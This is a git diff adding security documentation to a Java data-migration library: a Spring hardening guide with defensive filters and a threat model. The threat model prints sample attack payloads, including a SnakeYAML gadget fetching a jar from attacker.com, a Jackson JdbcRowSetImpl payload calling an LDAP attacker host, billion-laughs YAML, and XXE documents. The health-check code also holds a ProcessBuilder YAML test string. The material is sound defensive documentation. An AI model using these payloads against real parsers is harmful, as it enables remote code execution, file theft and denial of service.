+ return new JacksonXmlOps(secureXmlMapper); + } +} +``` + +--- + +## Request Validation Filter + +### Payload Size Validation + +```java +import jakarta.servlet.FilterChain; +import jakarta.servlet.ServletException; +import jakarta.servlet.http.HttpServletRequest; +import jakarta.servlet.http.HttpServletResponse; +import org.springframework.core.Ordered; +import org.springframework.core.annotation.Order; +import org.springframework.http.HttpStatus; +import org.springframework.stereotype.Component; +import org.springframework.web.filter.OncePerRequestFilter; + +@Component +@Order(Ordered.HIGHEST_PRECEDENCE) +public class PayloadSizeValidationFilter extends OncePerRequestFilter { + + private static final long MAX_PAYLOAD_SIZE = 10 * 1024 * 1024; // 10MB + + @Override + protected void doFilterInternal( + HttpServletRequest request, + HttpServletResponse response, + FilterChain chain) throws ServletException, IOException { + + // Check Content-Length header + long contentLength = request.getContentLengthLong(); + if (contentLength > MAX_PAYLOAD_SIZE) { + response.setStatus(HttpStatus.PAYLOAD_TOO_LARGE.value()); + response.getWriter().write("Payload exceeds maximum size"); + return; + } + + chain.doFilter(request, response); + } + + @Override + protected boolean shouldNotFilter(HttpServletRequest request) { + // Only filter migration endpoints + return !request.getRequestURI().startsWith("/api/migrate"); + } +} +``` + +### Content-Type Validation + +```java +import org.springframework.http.MediaType; + +@Component +@Order(Ordered.HIGHEST_PRECEDENCE + 1) +public class ContentTypeValidationFilter extends OncePerRequestFilter { + + private static final Set ALLOWED_CONTENT_TYPES = Set.of( + MediaType.APPLICATION_JSON_VALUE, + "application/yaml", + "text/yaml", + MediaType.APPLICATION_XML_VALUE, + MediaType.TEXT_XML_VALUE + ); + + @Override + protected void doFilterInternal( + HttpServletRequest request, + HttpServletResponse response, + FilterChain chain) throws ServletException, IOException { + + String contentType = request.getContentType(); + if (contentType != null) { + String baseType = contentType.split(";")[0].trim().toLowerCase(); + if (!ALLOWED_CONTENT_TYPES.contains(baseType)) { + response.setStatus(HttpStatus.UNSUPPORTED_MEDIA_TYPE.value()); + response.getWriter().write("Unsupported content type"); + return; + } + } + + chain.doFilter(request, response); + } + + @Override + protected boolean shouldNotFilter(HttpServletRequest request) { + return !request.getRequestURI().startsWith("/api/migrate") || + !"POST".equalsIgnoreCase(request.getMethod()); + } +} +``` + +--- + +## Rate Limiting + +### Using Resilience4j + +Add dependency: + +```xml + + io.github.resilience4j + resilience4j-spring-boot3 + 2.2.0 + +``` + +Configuration: + +```yaml +# application.yml +resilience4j: + ratelimiter: + instances: + migration: + limitForPeriod: 10 + limitRefreshPeriod: 1s + timeoutDuration: 0 +``` + +Controller: + +```java +import io.github.resilience4j.ratelimiter.annotation.RateLimiter; + +@RestController +@RequestMapping("/api/migrate") +public class MigrationController { + + private final MigrationService migrationService; + + public MigrationController(MigrationService migrationService) { + this.migrationService = migrationService; + } + + @PostMapping("/json") + @RateLimiter(name = "migration", fallbackMethod = "rateLimitFallback") + public ResponseEntity migrateJson( + @RequestBody byte[] data, + @RequestParam int fromVersion, + @RequestParam int toVersion, + @RequestParam String type) { + + MigrationResult result = migrationService + .migrate(data) + .from(fromVersion) + .to(toVersion) + .execute(); + + return ResponseEntity.ok(result); + } + + public ResponseEntity rateLimitFallback( + byte[] data, int fromVersion, int toVersion, String type, Throwable t) { + return ResponseEntity.status(HttpStatus.TOO_MANY_REQUESTS) + .body(MigrationResult.error("Rate limit exceeded. Please try again later.")); + } +} +``` + +### Using Bucket4j + +```java +import io.github.bucket4j.Bandwidth; +import io.github.bucket4j.Bucket; +import io.github.bucket4j.Refill; + +@Component +public class RateLimitingService { + + private final Map buckets = new ConcurrentHashMap<>(); + + public Bucket resolveBucket(String userId) { + return buckets.computeIfAbsent(userId, this::createBucket); + } + + private Bucket createBucket(String userId) { + Bandwidth limit = Bandwidth.classic(10, Refill.greedy(10, Duration.ofMinutes(1))); + return Bucket.builder().addLimit(limit).build(); + } + + public boolean tryConsume(String userId) { + return resolveBucket(userId).tryConsume(1); + } +} +``` + +--- + +## Audit Logging + +### Audit Aspect + +```java +import org.aspectj.lang.ProceedingJoinPoint; +import org.aspectj.lang.annotation.Around; +import org.aspectj.lang.annotation.Aspect; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.security.core.context.SecurityContextHolder; +import org.springframework.stereotype.Component; + +@Aspect +@Component +public class MigrationAuditAspect { + + private static final Logger AUDIT_LOG = LoggerFactory.getLogger("MIGRATION_AUDIT"); + + @Around("execution(* de.splatgames.aether.datafixers.spring.service.MigrationService.migrate(..))") + public Object auditMigration(ProceedingJoinPoint joinPoint) throws Throwable { + String user = getCurrentUser(); + long startTime = System.currentTimeMillis(); + + try { + Object result = joinPoint.proceed(); + long duration = System.currentTimeMillis() - startTime; + + AUDIT_LOG.info("MIGRATION_SUCCESS user={} duration={}ms", user, duration); + + return result; + } catch (Exception e) { + long duration = System.currentTimeMillis() - startTime; + + AUDIT_LOG.warn("MIGRATION_FAILURE user={} duration={}ms error={}", + user, duration, e.getMessage()); + + throw e; + } + } + + private String getCurrentUser() { + try { + return SecurityContextHolder.getContext() + .getAuthentication() + .getName(); + } catch (Exception e) { + return "anonymous"; + } + } +} +``` + +### Structured Logging with MDC + +```java +import org.slf4j.MDC; + +@Component +public class MigrationAuditAspect { + + private static final Logger LOG = LoggerFactory.getLogger(MigrationAuditAspect.class); + + @Around("execution(* MigrationService.migrate(..))") + public Object auditMigration(ProceedingJoinPoint joinPoint) throws Throwable { + String migrationId = UUID.randomUUID().toString(); + + MDC.put("migrationId", migrationId); + MDC.put("user", getCurrentUser()); + MDC.put("clientIp", getClientIp()); + + try { + Object result = joinPoint.proceed(); + LOG.info("Migration completed successfully"); + return result; + } catch (SecurityException e) { + LOG.warn("Migration blocked: {}", e.getMessage()); + throw e; + } catch (Exception e) { + LOG.error("Migration failed: {}", e.getMessage()); + throw e; + } finally { + MDC.clear(); + } + } +} +``` + +--- + +## Secure Migration Service + +### Complete Integration Example + +```java +import de.splatgames.aether.datafixers.spring.service.MigrationService; +import de.splatgames.aether.datafixers.spring.service.MigrationResult; +import org.springframework.stereotype.Service; +import org.yaml.snakeyaml.Yaml; + +@Service +public class SecureMigrationService { + + private static final long MAX_SIZE = 10 * 1024 * 1024; + + private final MigrationService migrationService; + private final Yaml secureYaml; + private final ObjectMapper secureJsonMapper; + private final XmlMapper secureXmlMapper; + + public SecureMigrationService( + MigrationService migrationService, + Yaml secureYaml, + ObjectMapper secureJsonMapper, + XmlMapper secureXmlMapper) { + this.migrationService = migrationService; + this.secureYaml = secureYaml; + this.secureJsonMapper = secureJsonMapper; + this.secureXmlMapper = secureXmlMapper; + } + + public MigrationResult migrateJsonSecurely( + byte[] input, + int fromVersion, + int toVersion) { + + validateSize(input); + + try { + JsonNode node = secureJsonMapper.readTree(input); + TaggedDynamic tagged = new TaggedDynamic<>( + TypeReferences.DATA, + new Dynamic<>(JacksonJsonOps.INSTANCE, node) + ); + + return migrationService + .migrate(tagged) + .from(fromVersion) + .to(toVersion) + .execute(); + } catch (Exception e) { + throw new MigrationException("JSON migration failed", e); + } + } + + public MigrationResult migrateYamlSecurely( + String input, + int fromVersion, + int toVersion) { + + validateSize(input); + + Object data = secureYaml.load(input); + TaggedDynamic tagged = new TaggedDynamic<>( + TypeReferences.DATA, + new Dynamic<>(SnakeYamlOps.INSTANCE, data) + ); + + return migrationService + .migrate(tagged) + .from(fromVersion) + .to(toVersion) + .execute(); + } + + public MigrationResult migrateXmlSecurely( + String input, + int fromVersion, + int toVersion) { + + validateSize(input); + + try { + JsonNode node = secureXmlMapper.readTree(input); + TaggedDynamic tagged = new TaggedDynamic<>( + TypeReferences.DATA, + new Dynamic<>(new JacksonXmlOps(secureXmlMapper), node) + ); + + return migrationService + .migrate(tagged) + .from(fromVersion) + .to(toVersion) + .execute(); + } catch (Exception e) { + throw new MigrationException("XML migration failed", e); + } + } + + private void validateSize(byte[] input) { + if (input.length > MAX_SIZE) { + throw new PayloadTooLargeException("Input exceeds maximum size"); + } + } + + private void validateSize(String input) { + if (input.length() > MAX_SIZE) { + throw new PayloadTooLargeException("Input exceeds maximum size"); + } + } +} +``` + +--- + +## Exception Handling + +### Global Exception Handler + +```java +import org.springframework.http.HttpStatus; +import org.springframework.http.ResponseEntity; +import org.springframework.web.bind.annotation.ExceptionHandler; +import org.springframework.web.bind.annotation.RestControllerAdvice; + +@RestControllerAdvice +public class MigrationExceptionHandler { + + private static final Logger LOG = LoggerFactory.getLogger(MigrationExceptionHandler.class); + + @ExceptionHandler(PayloadTooLargeException.class) + public ResponseEntity handlePayloadTooLarge(PayloadTooLargeException e) { + LOG.warn("Payload too large: {}", e.getMessage()); + return ResponseEntity + .status(HttpStatus.PAYLOAD_TOO_LARGE) + .body(new ErrorResponse("PAYLOAD_TOO_LARGE", "Payload exceeds maximum size")); + } + + @ExceptionHandler(SecurityException.class) + public ResponseEntity handleSecurityException(SecurityException e) { + LOG.warn("Security violation: {}", e.getMessage()); + return ResponseEntity + .status(HttpStatus.BAD_REQUEST) + .body(new ErrorResponse("SECURITY_VIOLATION", "Invalid input detected")); + } + + @ExceptionHandler(MigrationTimeoutException.class) + public ResponseEntity handleTimeout(MigrationTimeoutException e) { + LOG.error("Migration timeout: {}", e.getMessage()); + return ResponseEntity + .status(HttpStatus.GATEWAY_TIMEOUT) + .body(new ErrorResponse("MIGRATION_TIMEOUT", "Migration timed out")); + } + + @ExceptionHandler(MigrationException.class) + public ResponseEntity handleMigrationError(MigrationException e) { + LOG.error("Migration failed: {}", e.getMessage()); + // Don't expose internal error details + return ResponseEntity + .status(HttpStatus.INTERNAL_SERVER_ERROR) + .body(new ErrorResponse("MIGRATION_FAILED", "Migration failed")); + } + + public record ErrorResponse(String code, String message) {} +} +``` + +--- + +## Configuration Properties + +### Security Properties + +```yaml +# application.yml +aether: + datafixers: + security: + max-payload-size: 10485760 # 10MB + max-nesting-depth: 50 + migration-timeout: 30s + rate-limit: + requests-per-minute: 60 +``` + +```java +@ConfigurationProperties(prefix = "aether.datafixers.security") +public record SecurityProperties( + long maxPayloadSize, + int maxNestingDepth, + Duration migrationTimeout, + RateLimitProperties rateLimit +) { + public record RateLimitProperties(int requestsPerMinute) {} +} +``` + +--- + +## Health Indicator + +### Security Health Check + +```java +import org.springframework.boot.actuate.health.Health; +import org.springframework.boot.actuate.health.HealthIndicator; +import org.springframework.stereotype.Component; + +@Component +public class SecureMigrationHealthIndicator implements HealthIndicator { + + private final Yaml secureYaml; + private final ObjectMapper secureJsonMapper; + + public SecureMigrationHealthIndicator(Yaml secureYaml, ObjectMapper secureJsonMapper) { + this.secureYaml = secureYaml; + this.secureJsonMapper = secureJsonMapper; + } + + @Override + public Health health() { + try { + // Verify secure configurations are active + verifyYamlSecurity(); + verifyJacksonSecurity(); + + return Health.up() + .withDetail("yaml", "SafeConstructor enabled") + .withDetail("jackson", "StreamReadConstraints configured") + .build(); + } catch (Exception e) { + return Health.down() + .withDetail("error", e.getMessage()) + .build(); + } + } + + private void verifyYamlSecurity() { + // Attempt to parse a malicious payload should fail + String malicious = "!!java.lang.ProcessBuilder [[\"test\"]]"; + try { + secureYaml.load(malicious); + throw new IllegalStateException("SafeConstructor not configured!"); + } catch (org.yaml.snakeyaml.constructor.ConstructorException e) { + // Expected - SafeConstructor is working + } + } + + private void verifyJacksonSecurity() { + // Verify constraints are configured + JsonFactory factory = secureJsonMapper.getFactory(); + StreamReadConstraints constraints = factory.streamReadConstraints(); + if (constraints.getMaxNestingDepth() > 100) { + throw new IllegalStateException("Nesting depth limit too high"); + } + } +} +``` + +--- + +## Related + +- [Best Practices](best-practices.md) +- [Secure Configuration Examples](secure-configuration-examples.md) +- [Spring Boot Overview](../spring-boot/index.md) +- [MigrationService API](../spring-boot/migration-service.md) diff --git a/docs/security/threat-model.md b/docs/security/threat-model.md new file mode 100644 index 0000000..0516ca2 --- /dev/null +++ b/docs/security/threat-model.md @@ -0,0 +1,278 @@ +# Threat Model + +This document describes the threat model for Aether Datafixers when processing untrusted data. Understanding these threats helps you make informed decisions about security controls. + +## Overview + +Aether Datafixers processes serialized data (JSON, YAML, XML, TOML) and applies migrations to transform it between schema versions. When this data comes from untrusted sources, attackers may craft malicious payloads to exploit vulnerabilities in the parsing or processing pipeline. + +## Trust Boundaries + +``` +┌─────────────────────────────────────────────────────────────────┐ +│ UNTRUSTED ZONE │ +│ │ +│ ┌──────────┐ ┌──────────┐ ┌──────────┐ ┌──────────────┐ │ +│ │ User │ │ External │ │ Message │ │ Database │ │ +│ │ Uploads │ │ APIs │ │ Queues │ │ Blobs │ │ +│ └────┬─────┘ └────┬─────┘ └────┬─────┘ └──────┬───────┘ │ +│ │ │ │ │ │ +└───────┼─────────────┼─────────────┼───────────────┼─────────────┘ + │ │ │ │ + ▼ ▼ ▼ ▼ +╔═══════════════════════════════════════════════════════════════╗ +║ TRUST BOUNDARY ║ +║ ┌─────────────────────────────────────────────────────────┐ ║ +║ │ INPUT VALIDATION │ ║ +║ │ • Size limits • Depth limits • Format validation│ ║ +║ └─────────────────────────────────────────────────────────┘ ║ +╚═══════════════════════════════════════════════════════════════╝ + │ + ▼ +┌─────────────────────────────────────────────────────────────────┐ +│ TRUSTED ZONE │ +│ │ +│ ┌───────────────┐ ┌────────────────┐ ┌───────────────┐ │ +│ │ DynamicOps │───▶│ DataFixer │───▶│ Application │ │ +│ │ (Parsing) │ │ (Migration) │ │ Logic │ │ +│ └───────────────┘ └────────────────┘ └───────────────┘ │ +│ │ +└─────────────────────────────────────────────────────────────────┘ +``` + +### Untrusted Data Sources + +| Source | Examples | Trust Level | +|--------------------|----------------------------------------|---------------------------------------------------| +| User Uploads | Game saves, config imports, data files | **Untrusted** | +| External APIs | Third-party integrations, webhooks | **Untrusted** | +| Message Queues | Kafka topics, RabbitMQ queues | **Untrusted** (unless internal) | +| Database Blobs | Serialized objects in DB columns | **Semi-trusted** (may contain legacy unsafe data) | +| Internal Services | Same-cluster microservices | **Trusted** (if properly authenticated) | +| Local Config Files | Application configuration | **Trusted** (deployed by operators) | + +## Attack Vectors + +### 1. Arbitrary Code Execution (RCE) + +**Severity:** Critical +**Affected:** SnakeYAML (default constructor) + +SnakeYAML's default constructor can instantiate arbitrary Java classes, allowing attackers to execute code by crafting malicious YAML: + +```yaml +# Malicious YAML that attempts to execute code +!!javax.script.ScriptEngineManager [ + !!java.net.URLClassLoader [[ + !!java.net.URL ["http://attacker.com/malicious.jar"] + ]] +] +``` + +**Impact:** Complete system compromise, data theft, lateral movement. + +**Mitigation:** Always use `SafeConstructor` for untrusted YAML. See [SnakeYAML Security](format-considerations/snakeyaml.md). + +--- + +### 2. Billion Laughs Attack (Entity Expansion) + +**Severity:** High +**Affected:** YAML (aliases), XML (entities) + +Exponential expansion of aliases or entities can consume all available memory: + +```yaml +# YAML Billion Laughs +a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"] +b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a] +c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b] +d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c] +e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d] +f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e] +# Expands to billions of elements +``` + +```xml + + + + + +]> +&lol9; +``` + +**Impact:** Denial of Service through memory exhaustion, application crash. + +**Mitigation:** +- YAML: Set `maxAliasesForCollections` in `LoaderOptions` +- XML: Disable DTD processing or limit entity expansion + +--- + +### 3. XXE (XML External Entity) Injection + +**Severity:** High +**Affected:** XML + +External entity references can read local files or make server-side requests: + +```xml + + +]> +&xxe; +``` + +```xml + + + +]> +&xxe; +``` + +**Impact:** +- **Confidentiality:** Read sensitive files (credentials, configs) +- **SSRF:** Access internal services, cloud metadata endpoints +- **DoS:** Reference slow or infinite resources + +**Mitigation:** Disable external entity processing and DTDs. See [Jackson XML Security](format-considerations/jackson.md#xxe-prevention). + +--- + +### 4. Polymorphic Deserialization Attacks + +**Severity:** Medium-High +**Affected:** Jackson (with default typing enabled) + +When Jackson's default typing is enabled, attackers can specify arbitrary classes for deserialization: + +```json +{ + "@class": "com.sun.rowset.JdbcRowSetImpl", + "dataSourceName": "ldap://attacker.com/exploit", + "autoCommit": true +} +``` + +**Impact:** Remote code execution through gadget chains. + +**Mitigation:** Never enable default typing for untrusted data. If polymorphic deserialization is required, use allowlist-based `PolymorphicTypeValidator`. See [Jackson Security](format-considerations/jackson.md). + +--- + +### 5. Resource Exhaustion (DoS) + +**Severity:** Medium +**Affected:** All formats + +Large payloads or deeply nested structures can exhaust memory or CPU: + +```json +{ + "a": { + "b": { + "c": { + // ... nested 10,000 levels deep + } + } + } +} +``` + +**Impact:** Denial of Service, application unresponsiveness. + +**Mitigation:** +- Validate input size before parsing +- Configure nesting depth limits +- Set string length limits +- Implement timeouts + +--- + +### 6. Stack Overflow + +**Severity:** Medium +**Affected:** All formats (recursive parsing) + +Deeply nested structures can cause stack overflow during parsing or migration: + +```json +[[[[[[[[[[[[[[[[[[[[[[...]]]]]]]]]]]]]]]]]]]]]] +``` + +**Impact:** Application crash, potential DoS. + +**Mitigation:** Configure nesting depth limits in parser settings. + +--- + +## Impact Assessment + +| Attack | Confidentiality | Integrity | Availability | +|-----------------------------|-----------------|-----------|--------------| +| RCE (SnakeYAML) | High | High | High | +| Billion Laughs | Low | Low | **High** | +| XXE | **High** | Low | Medium | +| Polymorphic Deserialization | High | High | High | +| Resource Exhaustion | Low | Low | **High** | +| Stack Overflow | Low | Low | High | + +## Attack Scenarios + +### Scenario 1: Game Save Import + +A gaming platform allows users to import save files in YAML format. + +**Attack:** User uploads a YAML file with malicious constructor tags. +**Impact:** RCE on the game server, access to other users' data. +**Defense:** Use `SafeConstructor`, validate file size, sandbox processing. + +### Scenario 2: Configuration API + +A microservice accepts JSON configuration updates via REST API. + +**Attack:** Attacker sends deeply nested JSON to exhaust memory. +**Impact:** Service becomes unresponsive, affecting all users. +**Defense:** Size limits, depth limits, rate limiting. + +### Scenario 3: Legacy Data Migration + +An application migrates XML data stored in database blobs. + +**Attack:** Legacy data contains XXE payloads (intentional or from old vulnerabilities). +**Impact:** Data exfiltration during migration process. +**Defense:** Disable external entities, validate before migration. + +### Scenario 4: Webhook Processing + +A service processes webhook payloads from third-party integrations. + +**Attack:** Malicious webhook sends payload with polymorphic type hints. +**Impact:** RCE through deserialization gadgets. +**Defense:** Never enable default typing, validate webhook signatures. + +## Security Checklist + +Before processing untrusted data, verify: + +- [ ] Input size is validated before parsing +- [ ] Parser is configured with depth/nesting limits +- [ ] Format-specific protections are enabled: + - [ ] YAML: Using `SafeConstructor` with alias limits + - [ ] XML: External entities and DTDs disabled + - [ ] Jackson: Default typing is NOT enabled +- [ ] Timeouts are configured for migration operations +- [ ] Errors are logged without exposing sensitive information +- [ ] Rate limiting is applied for user-submitted data + +## Related + +- [Best Practices](best-practices.md) +- [Format-Specific Security](format-considerations/index.md) +- [Secure Configuration Examples](secure-configuration-examples.md)